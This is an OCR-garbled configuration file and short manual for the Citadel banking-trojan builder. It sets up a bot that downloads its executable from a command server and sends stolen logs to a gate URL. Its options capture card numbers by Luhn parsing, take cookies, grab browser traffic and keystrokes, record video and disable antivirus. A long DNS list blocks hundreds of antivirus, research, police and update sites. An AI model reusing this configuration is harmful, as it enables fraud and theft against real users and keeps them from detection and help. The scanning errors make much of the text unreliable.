;; Default config + updated AV s list (redirect to google.con
;; G tadel Builder 1.3.4.5

;; SHORT MANUAL BELOW ------------ >

7, url _configl is required!'!! url _config2 & url_config3 are
optional, you can setup it like a reserve config host.

;; report_software - report to gate about installed
firewall,antivirus,software: 1 is enabl ed

;; disable_ antivirus 0/1 - if you bought the M ni AV nodul e, you
can switch it off. 0 is enabl ed.

;; enable_luhnl0 _get 1/0 - if you bought the CardSw pe nodul e
you can switch it on a GET parsing by LUHN1O al gorithm

;; enable_|uhnl0_post 1/0 - if you bought the CardSw pe nodul e,
you can switch it on a POST parsing by LUHNLO al gorithm

(en. wi ki pedi a. org/ wi ki / Luhn_al gorithn).

;; use_nodule_video 1/0 - Do you really want to use video
grabber? If no, please switch it off. 1 is enabl ed.

;; disable_httpgrabber 1/0 - Do you want to switch off Chrone
HTTP: // 1ogs grabber? 1 is enabl ed.

;; package_max_size 50 - logs reports transm ssion size(KB), stay
it as default.

;; timer_autoupdate 10 - Auto-update of exe file, specify tine in
hours. This option takes exe link from"url | oader" section.

;; antiermulation_enable 0/1 - if you enable it, you can't test it
on virtual machi nes such as VMMre/ Vi rt ual box.

;; disable_cookies 0/1 - if you setup O, then cookies will send
to your gate and .sol files will be del eted.

;; For other information please open the "Personal Mnual"

;o |F YOU DON T KNOWNV HOW TO SETUP THESE OPTI ONS, YOU CAN USE
OPTI MAL DEFAULT CONFI G

M S END OF SHORT MANUAL.

entry "StaticConfig"
botnet "CI T"
timer_config 2 7
timer_logs 3 6
timer_stats 4 8
timer_nodules 1 7
ti mer_autoupdate 10
url _configl "http://citadel -
domai n. com file.php|file=test_config.bin"
; url_config2 "http://citadel -
domai n.com file.php|file=test_config_zapasnhoy. bi n"
; url_config3 "http://citadel -
domai n.com file.php|file=test_config_zapasnoy. bi n"
renove_certs 1
;  disable tcpserver 0
di sabl e_cookies 0
di sabl e_htt pgrabber 1
report_software 1
di sable antivirus 0O
enabl e_| uhn10_get 1
enabl e_| uhnl10_post 1



antiemrmul ation_enable 0
encryption_key "encryptit"
use_nodul e _video 1

end

entry "Dynam cConfig"
url _| oader "http://citadel-
domai n. com webserver/file. php|fil e=citadel build. exe"
url _server "http://citadel -domai n. conm’ webser ver/ gat e. php"
file_webinjects "webinjects.txt"
entry "AdvancedConfi gs"
"http://rezervniy-
domai n. ru/ webserver/file.php|file=citadel config.bin"
end
entry "WebFilters"”
"#*paypal . coni *"

end
entry "WbDataFilters"
;"http://mail.rambler.ru/*" "passw | ogi n"
end
entry "WebFakes"
;"http://ww. googl e.cont "http://ww. yahoo. conmi' "GP"
end
entry "DnsFilters"”
bi t def ender. com=209. 85. 229. 104
downl oad. bi t def ender . com=209. 85. 229. 104
updat e. bi t def ender. com=209. 85. 229. 104
wf bs51- p. acti veupdat e. t rendmni cro. com=209. 85. 229. 104
wf bs60- p. acti veupdat e. trendm cro. conr209. 85. 229. 104
iau.trendm cro. com=209. 85. 229. 104
i censeupdat e. trendm cro. com=209. 85. 229. 104
csmas. acti veupdat e. trendni cro. com=209. 85. 229. 104
wf bs6-i css-p. acti veupdate. trendm cro. com=209. 85. 229. 104
oc. acti veupdat e. trendm cro. com=209. 85. 229. 104
updat e. avg. com=209. 85. 229. 104
updat e. gri soft. com=209. 85. 229. 104
backup. avg. cz=209. 85. 229. 104
backup. gri soft.cz=209. 85. 229. 104
files2.grisoft.cz=209.85.229.104
files2. avg. cz=209. 85. 229. 104
downl oad. gri soft.cz=209. 85. 229. 104
downl oad. avg. cz=209. 85. 229. 104
akamai . grisoft.cz=209. 85. 229. 104
akamai . grisoft.cz. edgesuite. net=209. 85. 229. 104
akamai . avg. cz=209. 85. 229. 104
akamai . avg. cz. edgesui t e. net =209. 85. 229. 104
akamai . gri soft.com=209. 85. 229. 104
akamai . avg. comr209. 85. 229. 104
akamai . gri soft.com edgesui t e. net =209. 85. 229. 104
akamai . avg. com edgesui t e. net =209. 85. 229. 104
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dat a- cdn. nbanupdat es. com=209. 85. 229. 104
su. pct ool s. com=209. 85. 229. 104

pct ool s. conr209. 85. 229. 104

downl oad. | avasoft. com=209. 85. 229. 104
secure. | avasoft. com=209. 85. 229. 104

| avasoft.com=209. 85. 229. 104

bi t def ender . nl =209. 85. 229. 104

vi rust ot al . com=209. 85. 229. 104

trendm cro. nl =209. 85. 229. 104

trendm cro. com au=209. 85. 229. 104

waww. t rendmi cro. com au=209. 85. 229. 104
securesoft.com au=209. 85. 229. 104

avi ra.com au=209. 85. 229. 104

grati ssoftwaresite.nl =209. 85.229. 104
nod32. com au=209. 85. 229. 104
pandasecurity. com au=209. 85. 229. 104

| avasoft.com au=209. 85. 229. 104

avg. com au=209. 85. 229. 104

symant ec- nort on. conr209. 85. 229. 104
housecal | . trendm cro. con=209. 85. 229. 104
f oruns. mal war ebyt es. or g=209. 85. 229. 104
mal war ebyt es. or g=209. 85. 229. 104

pchel pf orum con=209. 85. 229. 104

pchel pf orum com=209. 85. 229. 104

foruns. cnet. com=209. 85. 229. 104

t echsupportforum com=209. 85. 229. 104
grati ssof t ware. nu=209. 85. 229. 104

nmaj or geeks. com=209. 85. 229. 104

foruns. pcworl d. com=209. 85. 229. 104
antivirus. mcrobe. com au=209. 85. 229. 104
avast.com au=209. 85. 229. 104
avg-antivirus. com au=209. 85. 229. 104
nortonantiviruscenter.com209. 85. 229. 104
threat metri x. com=209. 85. 229. 104

www. zoneal ar m com=209. 85. 229. 104
firewall gui de. com=209. 85. 229. 104

audi t nypc. com=209. 85. 229. 104

conodo. com=209. 85. 229. 104
free-firewall.org=209. 85.229. 104
schoonepc. nl =209. 85. 229. 104

i opus. con¥209. 85. 229. 104

t ucows. conm=209. 85. 229. 104
avg-antivirus-plus-firewall.en.softonic.com209. 85.229. 104
super anti spywar e. com au=209. 85. 229. 104
super anti spywar e. com=209. 85. 229. 104
har veynor man. com au=209. 85. 229. 104
ca-store.com au=209. 85. 229. 104

net frei ght ers. com au=209. 85. 229. 104
securetec. com au=209. 85. 229. 104

anti - spywar e. com au=209. 85. 229. 104
virusscan.jotti.org=209. 85. 229. 104

vi rscan. or g=209. 85. 229. 104



antivir.ru=209. 85.229. 104

anal ysi s. avi ra. com=209. 85. 229. 104

hi j ackt hi s. de=209. 85. 229. 104

upl oadnal war e. com=209. 85. 229. 104
ensi soft. conm=209. 85. 229. 104

kasper sky. co. uk=209. 85. 229. 104

bi t def ender. co. uk=209. 85. 229. 104
eset. co. uk=209. 85. 229. 104

webr oot . com=209. 85. 229. 104

gdat asof t war e. co. uk=209. 85. 229. 104
pcpro. co. uk=209. 85. 229. 104

webr oot . co. uk=209. 85. 229. 104
cyprotect.con=209. 85. 229. 104

cl oudanti vi rus. com=209. 85. 229. 104
drweb-antivir.it=209.85.229. 104
escanav. conr209. 85. 229. 104

cl ammi n. com=209. 85. 229. 104

nod32. nl =209. 85. 229. 104

webr oot . nl =209. 85. 229. 104

av. eu=209. 85. 229. 104
vergelijk.nl =209. 85.229. 104
antivirusvergelijk.nl=209. 85.229.104
vi russen. upc. nl =209. 85. 229. 104
antivirus. startpagi na. nl =209. 85. 229. 104
avast av. nl =209. 85. 229. 104

def enx. nl =209. 85. 229. 104

gdat a. nl =209. 85. 229. 104

bi t def ender . nl =209. 85. 229. 104
renovevi rus. or g=209. 85. 229. 104

wi ndows. m crosoft.com=209. 85. 229. 104
answers. m crosoft. com=209. 85. 229. 104
myant i spywar e. com=209. 85. 229. 104
krebsonsecurity. com=209. 85. 229. 104
antivirus. about.com=209. 85. 229. 104
cl eanuni nstal | . com=209. 85. 229. 104

st apl es. com=209. 85. 229. 104

eseti ndi a. com=209. 85. 229. 104

ncaf ee. free-trial s. net =209. 85. 229. 104
antivir-2012. com=209. 85. 229. 104
panda- anti vi rus. en. sof t oni c. com=209. 85. 229. 104
sof t oni ¢c. com=209. 85. 229. 104

freeanti virushel p. com=209. 85. 229. 104
scanwi t h. com=209. 85. 229. 104

best anti vi rusrevi ewed. com=209. 85. 229. 104
vi rus- hel p. net =209. 85. 229. 104

cl eanal | spywar e. com=209. 85. 229. 104
ki ngsoftsecurity. com=209. 85. 229. 104
threatfire.com:209. 85. 229. 104
freeavg. conr209. 85. 229. 104

cl amav. net =209. 85. 229. 104

pct hr eat . com=209. 85. 229. 104
2-viruses. com=209. 85. 229. 104



trojan-killer.ne=209.85.229.104

vi rusi nfo. i nf0o=209. 85. 229. 104

www. Vi rusi nf o. i nf 0=209. 85. 229. 104

pr oj ect honeypot . or g=209. 85. 229. 104
WWw. pr oj ect honeypot . or g=209. 85. 229. 104
novi rus. ru=209. 85. 229. 104

WWW. novi rus. ru=209. 85. 229. 104

anti - mal war e. com=209. 85. 229. 104

waww. ant i - mal war e. com=209. 85. 229. 104
of f ensi veconput i ng. net =209. 85. 229. 104
www. of f ensi veconputi ng. n=209. 85. 229. 104et
zeustracker. abuse. ch=209. 85. 229. 104
wwwv. zeust r acker . abuse. ch=209. 85. 229. 104
www. mal ekal . com=209. 85. 229. 104

ww\3. mal ekal . com=209. 85. 229. 104

forum nal ekal . com=209. 85. 229. 104

waww. t hr eat expert. com=209. 85. 229. 104

t hr eat expert. com=209. 85. 229. 104

www. m cr osof t. com=209. 85. 229. 104
updat e. mi crosoft. com=209. 85. 229. 104
wWww. Vi rust ot al . com=209. 85. 229. 104
virusscan.jotti.org=209. 85. 229. 104
WWW. av- conpar ati ves. or g=209. 85. 229. 104
av- conpar ati ves. or g=209. 85. 229. 104
av-test.org=209. 85. 229. 104

www. av-t est. org=209. 85. 229. 104

wawwv, scanwi t h. com=209. 85. 229. 104
trendm cro. com au=209. 85. 229. 104
kasper skyanz. com au=209. 85. 229. 104

bi t def ender. com au=209. 85. 229. 104
eset.com au=209. 85. 229. 104

vet.com au=209. 85. 229. 104

sm ntaf ee. com=209. 85. 229. 104

hone. ntaf ee. com=209. 85. 229. 104

t ool bar . avg. com=209. 85. 229. 104

stats. avg. com=209. 85. 229. 104

W, Vi rusbt n. com=209. 85. 229. 104

adwar er eport . coms209. 85. 229. 104

avg. com au=209. 85. 229. 104

www. adwar er eport. com=209. 85. 229. 104
mal war ebyt es. or g=209. 85. 229. 104

www. mal war ebyt es. or g=209. 85. 229. 104
dw. com com=209. 85. 229. 104
nss-shasta-rrs. synant ec. com=209. 85. 229. 104
spywar ewar ri or.com=209. 85. 229. 104
WWW. spywar ewar ri or. com=209. 85. 229. 104
avsoft.ru=209. 85. 229. 104

www, avsof t. ru=209. 85. 229. 104
onecare.live.com209. 85. 229. 104

anubi s. i secl ab. or g=209. 85. 229. 104
wepawet . i secl ab. or g=209. 85. 229. 104

i secl ab. or g=209. 85. 229. 104



www. | secl ab. or g=209. 85. 229. 104

www. f r eespacei nt er net sec=209. 85. 229. 104urity. com
freespacei nternetsecurit=209. 85.229. 104y. com
sunbel t - sof t war e. con=209. 85. 229. 104
wwwv. sunbel t - sof t war e. com=209. 85. 229. 104
WWW. prevx. com=209. 85. 229. 104

prevx. com=209. 85. 229. 104

anal ysi s. secl ab. t uwi en. a=209. 85. 229. 104c. at
www. j oebox. or g=209. 85. 229. 104

j oebox. or g=209. 85. 229. 104

gmer . net =209. 85. 229. 104

www. gner . net =209. 85. 229. 104
antirootkit.com=209. 85. 229. 104

www. ant i root ki t.com=209. 85. 229. 104

sect ool s. or g=209. 85. 229. 104

www. sandboxi e. com=209. 85. 229. 104
sandboxi e. com=209. 85. 229. 104

nepent hes. macol | ect. or g=209. 85. 229. 104
macol | ect. org=209. 85. 229. 104

www. ant so. or g=209. 85. 229. 104

ant so. or g=209. 85. 229. 104

www. nssl abs. com=209. 85. 229. 104

nssl abs. com=209. 85. 229. 104

www. i csal abs. com=209. 85. 229. 104

i csal abs. com=209. 85. 229. 104

www. checkvi r. com=209. 85. 229. 104
checkvir. com=209. 85. 229. 104

www. check- mar k. com=209. 85. 229. 104
check- mar k. com=209. 85. 229. 104

WWW. pr ot ect star-testl ab. =209. 85. 229. 1040rg
protectstar-testlab. org=209. 85. 229. 104
www, ant i - mal war e-t est. co=209. 85. 229. 104m
anti - mal war e-t est. com=209. 85. 229. 104
av-test.de=209. 85. 229. 104

www, av-t est. de=209. 85. 229. 104

waww. wi | dl i st. org=209. 85. 229. 104

wi | dlist.org=209.85.229. 104

www. aavar . or g=209. 85. 229. 104
aavar.org=209. 85. 229. 104

central ops. net =209. 85. 229. 104

waww. st aysaf eonl i ne. i nf 0=209. 85. 229. 104
st aysaf eonl i ne. i nf 0=209. 85. 229. 104

W, r okop-security. de=209. 85. 229. 104

r okop-security. de=209. 85. 229. 104

waww. Wi | der ssecurity. com=209. 85. 229. 104
wi | der ssecurity. com=209. 85. 229. 104

WWw. super anti spywar e. conr209. 85. 229. 104
super anti spywar e. com=209. 85. 229. 104
updat e. mi crosoft. com=209. 85. 229. 104
www. kasper sky. com=209. 85. 229. 104

www. kasper sky. ru=209. 85. 229. 104

kasper sky. ru=209. 85. 229. 104



www. avp. ru=209. 85. 229. 104

avp. ru=209. 85. 229. 104

waww. vi rusli st. com=209. 85. 229. 104
viruslist.com=209. 85. 229. 104

waww. vi rusli st. ru=209. 85. 229. 104

www. kasper sky-anti vi rus. ru=209. 85. 229
kasper sky-anti vi rus. ru=209. 85. 229. 104
downl oadsl. kasper sky- | abs. com=209. 85.
downl oads?2. kasper sky- | abs. com=209. 85.
downl oads3. kasper sky- | abs. com=209. 85.
downl oads4. kasper sky- | abs. com=209. 85.
downl oads5. kasper sky- | abs. com=209. 85.
downl oads- usl. kasper sky-1 abs. com=209.
downl oads- us2. kasper sky-1 abs. com=209.
downl oads- us3. kasper sky-1| abs. conr209.
downl oads- eul. kasper sky-1 abs. com=209.
downl oads- eu2. kasper sky-1 abs. com=209.
kavdunps. kasper sky. com=209. 85. 229. 104
wawwv. kasper skycl ub. com=209. 85. 229. 104
f orum kasper skycl ub. com=209. 85. 229. 10
f orum kasper skycl ub. ru=209. 85. 229. 104
kasper skycl ub. ru=209. 85. 229. 104
kasper skycl ub. com=209. 85. 229. 104

ft p. kasper skyl ab. ru=209. 85. 229. 104
ftp. kaspersky. ru=209. 85. 229. 104

ftp. kasper sky-1 abs. com=209. 85. 229. 104
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www. freedr web. com=209. 85. 229. 104
drweb. com ua=209. 85. 229. 104

waww. dr web. com ua=209. 85. 229. 104
drweb. ru=209. 85. 229. 104

www. dr web. ru=209. 85. 229. 104

av- desk. comr209. 85. 229. 104

waww, av- desk. com=209. 85. 229. 104

drweb. net =209. 85. 229. 104

www. dr web. net =209. 85. 229. 104
ftp.drweb. com=209. 85. 229. 104

dr - web. ru=209. 85. 229. 104

www. dr - web. ru=209. 85. 229. 104

downl oad. dr web. com=209. 85. 229. 104
support. drweb. com=209. 85. 229. 104
updat es. sal d. com=209. 85. 229. 104

sal d. con=209. 85. 229. 104

www. sal d. com=209. 85. 229. 104

drweb. i mshop. de=209. 85. 229. 104

saf eweb. norton. com=209. 85. 229. 104
www. saf eweb. nort on. com=209. 85. 229. 104
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www. synmant ec. com=209. 85. 229. 104

shop. synant ecst ore. com=209. 85. 229. 104
I i veupdat e. symant ec. com=209. 85. 229. 104
I i veupdat e. symant ecl i veu=209. 85. 229. 104pdat e. com
servi cel. symant ec. com=209. 85. 229. 104
www. servi cel. symant ec. c0=209. 85. 229. 104m
security. symant ec. com=209. 85. 229. 104
I i veupdat e. symant ec. d4p. =209. 85. 229. 104net
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sygat e. con209. 85. 229. 104

www. sygat e. com=209. 85. 229. 104

eset nod32. ru=209. 85. 229. 104

www. eset nod32. r u=209. 85. 229. 104
eset.com=209. 85. 229. 104

www. eset . com=209. 85. 229. 104
eset.com ua=209. 85. 229. 104

www. eset . com ua=209. 85. 229. 104

nod32. com ua=209. 85. 229. 104

www. nod32. com ua=209. 85. 229. 104

downl oad. eset . com=209. 85. 229. 104
updat e. eset . conr209. 85. 229. 104

eset . eu=209. 85. 229. 104

www. eset . eu=209. 85. 229. 104
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www. nod32. i t=209. 85. 229. 104
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secure. nai . conr209. 85. 229. 104

eu. shopntaf ee. com=209. 85. 229. 104
shop. ntaf ee. com=209. 85. 229. 104

si bl og. ntaf ee. com=209. 85. 229. 104
ncaf eestore. conr209. 85. 229. 104

www. ntaf eest ore. conr209. 85. 229. 104
servi ce. ntaf ee. comr209. 85. 229. 104
si t eadvi sor. conr209. 85. 229. 104

WWWw. Si t eadvi sor. com=209. 85. 229. 104
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www, avast . ru=209. 85. 229. 104

avast . com209. 85. 229. 104
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downl oadl. avast. conr209. 85. 229. 104
downl oad2. avast . com~209. 85. 229. 104
downl oad3. avast. conr209. 85. 229. 104
downl oad4. avast . com~209. 85. 229. 104
downl oad5. avast. conr209. 85. 229. 104
downl oad6. avast . com~209. 85. 229. 104
downl oad7. avast. conr209. 85. 229. 104
free. avg. com=209. 85. 229. 104

au. norton. conr209. 85. 229. 104

t rust def ender. com=209. 85. 229. 104

avg. com=209. 85. 229. 104

www. avg. com=209. 85. 229. 104

sshop. avg. conr209. 85. 229. 104

pct ool s. com=209. 85. 229. 104

www. gri soft. cz=209. 85. 229. 104

www. gri soft. com=209. 85. 229. 104
free.grisoft.com=209. 85.229.104

bi t def ender. com=209. 85. 229. 104

www. bi t def ender . com=209. 85. 229. 104
msecn. net =209. 85. 229. 104

bi t def ender . de=209. 85. 229. 104

www. bi t def ender . de=209. 85. 229. 104

bi t def ender. com ua=209. 85. 229. 104
www. bi t def ender. com ua=209. 85. 229. 104
bi t def ender. ru=209. 85. 229. 104

www. bi t def ender . ru=209. 85. 229. 104
myaccount . bi t def ender . co, =209. 85. 229. 104
downl oad. bi t def ender . conr209. 85. 229. 104
ftp. bitdefender.com=209. 85. 229. 104
forum bi t def ender. conF209. 85. 229. 104
upgr ade. bi t def ender . com=209. 85. 229. 104
agni tum ru=209. 85. 229. 104

waww. agni t um ru=209. 85. 229. 104

agni t um com=209. 85. 229. 104

www. agni t um conr209. 85. 229. 104

agni t um de=209. 85. 229. 104

waww. agni t um de=209. 85. 229. 104

out postfirewal | . coms209. 85. 229. 104
waww. out postfirewal | . com=209. 85. 229. 104
dl 1. agni t um com=209. 85. 229. 104

dl 2. agni t um com=209. 85. 229. 104

anti vi rus. conodo. conr209. 85. 229. 104
conodo. com=209. 85. 229. 104

www., conpdo. conF209. 85. 229. 104

f oruns. conbdo. com=209. 85. 229. 104
conodogr oup. com=209. 85. 229. 104

www. conmodogr oup. com=209. 85. 229. 104
personal firewal | . conodo. com=209. 85. 229. 104
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www. per sonal firewal | . con=209. 85. 229. 104
hacker guar di an. com=209. 85. 229. 104

wwwv. hacker guar di an. com=209. 85. 229. 104
www. nscl ean. com=209. 85. 229. 104

nscl ean. com=209. 85. 229. 104

cl amav. net =209. 85. 229. 104

www. ¢l amav. net =209. 85. 229. 104

db. | ocal . cl amav. net =209. 85. 229. 104

cl amsupport . sourcefire.conr209. 85. 229. 104
[ urker. cl amav. net =209. 85. 229. 104

wi ki . cl amav. net =209. 85. 229. 104

w32. cl amav. net =209. 85. 229. 104
l'ists.clamav. net =209. 85. 229. 104

cl amni n. comr209. 85. 229. 104

waww. ¢l amwi n. com=209. 85. 229. 104
ru.clamm n. com=209. 85. 229. 104

gi etl.conr209. 85. 229. 104

www. gi et | . com=209. 85. 229. 104

cl amav. dyndns. or g=209. 85. 229. 104
f-secure. com=209. 85. 229. 104

www. f - secure. com=209. 85. 229. 104
support.f-secure.coms209. 85. 229. 104
f-secure. ru=209. 85. 229. 104

www. f - secur e. ru=209. 85. 229. 104
ftp.f-secure.com=209. 85.229. 104

eur ope. f-secure. com=209. 85. 229. 104
waww. eur ope. f - secure. com=209. 85. 229. 104
f-secure. de=209. 85. 229. 104

www. f - secur e. de=209. 85. 229. 104
support.f-secure. de=209. 85. 229. 104
ftp.f-secure. de=209. 85. 229. 104
f-secure. co. uk=209. 85. 229. 104

www. f - secure. co. uk=209. 85. 229. 104
retail.sp.f-secure. com=209. 85. 229. 104
retail 01. sp. f-secure. conr209. 85. 229. 104
retail 02.sp.f-secure. com=209. 85. 229. 104
ftp.europe.f-secure. com=209. 85. 229. 104
nor man. com=209. 85. 229. 104

www. nor man. com=209. 85. 229. 104

downl oad. nor man. no=209. 85. 229. 104
sandbox. nor man. no=209. 85. 229. 104

nor man. no=209. 85. 229. 104

www. nor man. no=209. 85. 229. 104

ni uone. nor man. no=209. 85. 229. 104
pandasecurity. com=209. 85. 229. 104

www. pandasecurity. com=209. 85. 229. 104
vi rusl ab. ru=209. 85. 229. 104

www. vi rusl ab. ru=209. 85. 229. 104
pandasof t war e. com=209. 85. 229. 104

www. pandasof t war e. com=209. 85. 229. 104
acs. pandasof t war e. com=209. 85. 229. 104
www. pandasof t war e. es=209. 85. 229. 104
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anti-virus. by=209. 85. 229. 104

wWwWw. anti - virus. by=209. 85. 229. 104

vi rusbl okada. ru=209. 85. 229. 104

www. Vi rusbl okada. ru=209. 85. 229. 104
vba32. de=209. 85. 229. 104

www. vba32. de=209. 85. 229. 104

ftp. nai.con=209. 85. 229. 104

secuser. com=209. 85. 229. 104

WWW. secuser . com=209. 85. 229. 104

t ds. di anobndcs. com au=209. 85. 229. 104

wi ndowsupdat e. m crosoft.com=209. 85. 229. 104
| avasof t usa. com=209. 85. 229. 104

www. | avasof t usa. com=209. 85. 229. 104

| avasof t usa. de=209. 85. 229. 104

www. | avasof t usa. de=209. 85. 229. 104

di anondcs. com au=209. 85. 229. 104

shop. ca. conr209. 85. 229. 104

downl oads. ny-etrust. com=209. 85. 229. 104
v4. wi ndowsupdat e. m crosoft. conr209. 85. 229. 104
v5. wi ndowsupdat e. m crosof t. com=209. 85. 229. 104
noadwar e. net =209. 85. 229. 104

www. hoadwar e. net =209. 85. 229. 104

zonel abs. conr209. 85. 229. 104

www. zonel abs. conr209. 85. 229. 104
nmoosoft. conr209. 85. 229. 104

www. nbosoft. conr209. 85. 229. 104
secuser. nodel - f x. com209. 85. 229. 104
pccreg. antivirus. com=209. 85. 229. 104
k-oti k. con=209. 85. 229. 104

vupen. com=209. 85. 229. 104

www. vupen. com=209. 85. 229. 104

housecal | . trendm cro. conr209. 85. 229. 104
trendm cro. conrF209. 85. 229. 104

www. t rendm cro. conF209. 85. 229. 104

us. trendm cro. conrF209. 85. 229. 104
uk.trendm cro. conr209. 85. 229. 104
de.trendm cro. comr209. 85. 229. 104
fr.trendm cro. com=209. 85. 229. 104
es.trendm cro. conr209. 85. 229. 104

au. trendm cro. conr209. 85. 229. 104
it.trendm cro. conrF209. 85. 229. 104
br.trendm cro. conr209. 85. 229. 104
antivirus. cai.conm209. 85. 229. 104
sophos. com=209. 85. 229. 104

www. sophos. com=209. 85. 229. 104
securitoo. com209. 85. 229. 104

nor dnet . conr209. 85. 229. 104

www. nor dnet . conr209. 85. 229. 104
avgfrance. comr209. 85. 229. 104

www. avgf rance. com=209. 85. 229. 104
antivirus-online. de=209. 85. 229. 104
www. anti vi rus-online. de=209. 85. 229. 104
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ftp. esaf e. conr209. 85. 229. 104

ftp. mcroworl dsystenms. com=209. 85. 229. 104
ftp.ca.co=209. 85. 229. 104
files.trendm cro-europe. com=209. 85. 229. 104
i nli ne-software. de=209. 85. 229. 104
ravanti vi rus. com=209. 85. 229. 104

WWw. ravant i vi rus. com=209. 85. 229. 104
f-prot.com=209. 85. 229. 104

waww. - prot. com=209. 85. 229. 104
files.f-prot.com=209. 85.229. 104
secure. f-prot.com=209. 85. 229. 104
vsanti vi rus. com=209. 85. 229. 104

WWwW. vsant i vi rus. com=209. 85. 229. 104
openanti virus. org=209. 85. 229. 104

WV, openant i vi rus. or g=209. 85. 229. 104
ww\3. ca. com=209. 85. 229. 104

di al ognauka. ru=209. 85. 229. 104

www. di al oghauka. ru=209. 85. 229. 104
anti-virus-software-revi ew. com=209. 85. 229. 104
WWw. anti - virus-software-revi ew. com=209. 85. 229. 104
www. vet . com au=209. 85. 229. 104
antiviral dp. com=209. 85. 229. 104

waww. anti vi ral dp. com=209. 85. 229. 104
WWW. proanti virus. com=209. 85. 229. 104
pest patrol . com=209. 85. 229. 104

www. pest patrol . com=209. 85. 229. 104

si mpl ysup. conr209. 85. 229. 104

wWwWw. si mpl ysup. com=209. 85. 229. 104

m sec. net =209. 85. 229. 104

WWw. m sec. net =209. 85. 229. 104

wwwl. ny-etrust. com=209. 85. 229. 104

aut henti um coms209. 85. 229. 104

www. aut henti um com=209. 85. 229. 104
finjan. com=209. 85. 229. 104

www. fi nj an. com=209. 85. 229. 104

www. i kar us- sof t war e. at =209. 85. 229. 104
www. | ka-rus. come209. 85. 229. 104

i ka-rus. com=209. 85. 229. 104
tinysoftware. com=209. 85. 229. 104

www. t i nysof t war e. com=209. 85. 229. 104
vi sual i zesof t war e. com=209. 85. 229. 104
www. vi sual i zesof t war e. com=209. 85. 229. 104
keri o. con=209. 85. 229. 104

www. keri 0. coms209. 85. 229. 104

www. keri 0. eu=209. 85. 229. 104

www. zonel abs. com=209. 85. 229. 104

zonel og. co. uk=209. 85. 229. 104

www. zonel og. co. uk=209. 85. 229. 104

webr oot . com=209. 85. 229. 104

www. webr oot . com=209. 85. 229. 104

www. | avasoft. nu=209. 85. 229. 104

spywar egui de. com=209. 85. 229. 104
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Wy, spywar egui de. com=209. 85. 229. 104
spybl ocker - sof t war e. com=209. 85. 229. 104
www. spybl ocker - sof t war e. com=209. 85. 229. 104
www. spanhaus. or g=209. 85. 229. 104
spanctop. net =209. 85. 229. 104
www. spantop. net =209. 85. 229. 104
bobbear . co. uk=209. 85. 229. 104
www. bobbear . co. uk=209. 85. 229. 104
domai nt ool s. com=209. 85. 229. 104
www. domai nt ool s. com=209. 85. 229. 104
central ops. net =209. 85. 229. 104
www. cent ral ops. net =209. 85. 229. 104
waww. r obt ex. com=209. 85. 229. 104
dnsst uff.com=209. 85. 229. 104
waww. dnsst uf f. com=209. 85. 229. 104
ri pe. net=209. 85.229. 104
WM. T i pe. net =209. 85. 229. 104
www. met . pol i ce. uk=209. 85. 229. 104
nbi . gov. ph=209. 85. 229. 104
www. nbi . gov. ph=209. 85. 229. 104
www. pol i ce. gov. hk=209. 85. 229. 104
treasury. gov=209. 85. 229. 104
www. t reasury. gov=209. 85. 229. 104
cybercri nme. gov=209. 85. 229. 104
www. cyber cri me. gov=209. 85. 229. 104
www. cybercri me. ch=209. 85. 229. 104
eni sa. eur opa. eu=209. 85. 229. 104
WWW. eni sa. eur opa. eu=209. 85. 229. 104
waww. i nt er pol . i nt =209. 85. 229. 104
ww. f sa. gov. uk=209. 85. 229. 104
WWw. conpani es- house. gov. uk=209. 85. 229. 104
fraudai d. com=209. 85. 229. 104
www. fraudai d. com=209. 85. 229. 104
scanbust er s. or g=209. 85. 229. 104
www. scanbust er s. or g=209. 85. 229. 104
spant rackers. eu=209. 85. 229. 104
wwwv. spant racker s. eu=209. 85. 229. 104

end

entry "CndList”

"net view'
"tasklist"
"set"
end

entry "Keyl ogger"
processes "cal c. exe"
time 1

end

entry "Video"

quality 1
| engt h 500
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end
end
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